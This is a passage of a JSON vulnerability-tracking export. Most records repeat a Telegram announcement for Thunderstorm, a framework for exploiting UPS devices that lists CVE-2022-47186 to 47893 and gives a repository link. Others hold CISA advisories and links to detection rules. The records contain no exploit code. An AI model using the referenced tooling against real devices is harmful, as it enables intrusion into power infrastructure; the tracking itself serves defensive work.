disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.766488Z"}, {"uuid": "303a836e-529c-4f99-997e-c382689d4b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.806280Z"}, {"uuid": "5dfe3cba-cab6-4e96-aaca-0b68b80a4aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.845260Z"}, {"uuid": "7de2bf6d-1b13-4acc-8b96-12bb5bf55e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/cissp/6627", "content": "CISA has updated its Known Exploited Vulnerabilities catalog with three new vulnerabilities that are currently being exploited \u2014 IBM Aspera Faspex (CVE-2022-47986) and Mitel MiVoice Connect (CVE-2022-41223 and CVE-2022-40765).\nRead more: https://thehackernews.com/2023/02/us-cybersecurity-agency-cisa-adds-three.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.03", "creation_timestamp": "2026-09-02T01:04:02.955532Z"}, {"uuid": "ff7e995a-eb3e-4870-b933-06bbe3aec50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/cissp/6526", "content": "Blue Team Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.30", "creation_timestamp": "2026-09-02T01:04:05.299642Z"}, {"uuid": "177bb1c7-8296-4856-806b-ce3a773c7cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/cissp/6496", "content": "\ud83d\udd25 Don't wait until it's too late!\n\nZoho ManageEngine users, patch your instances now to avoid falling victim to critical CVE-2022-47966 vulnerability.\n\nDetails: https://thehackernews.com/2023/01/zoho-manageengine-poc-exploit-to-be.html\n\nResearchers are about to release  PoC exploit code.\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.10.27", "creation_timestamp": "2026-09-02T01:04:05.484019Z"}, {"uuid": "07b39c21-e656-4702-bccf-fb32539eceed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.187573Z"}, {"uuid": "c1b0351a-d079-4f41-b275-fcbd2977d219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.241822Z"}, {"uuid": "7eacdea1-f802-4edc-9249-b240344dcc4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.285941Z"}, {"uuid": "82cf4a95-41fc-4ded-8f40-eb60ff270140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.328305Z"}, {"uuid": "04ac1b94-b90d-46c9-a0b0-26b3921976ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.371176Z"}, {"uuid": "0d56fbea-9f5f-49fe-8da2-7a89e444ad4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.419788Z"}, {"uuid": "7d11b197-aae9-4cf5-b2c2-b5cf11f8496f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.474388Z"}, {"uuid": "2fcebdd4-67ba-41b8-b250-41f73e552540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.524453Z"}, {"uuid": "e9f385e0-ba94-4991-aa4d-2058c71b35df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-04T16:00:04.572895Z"}, {"uuid": "125aea84-6c6a-47c8-bbfa-1246f5411888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 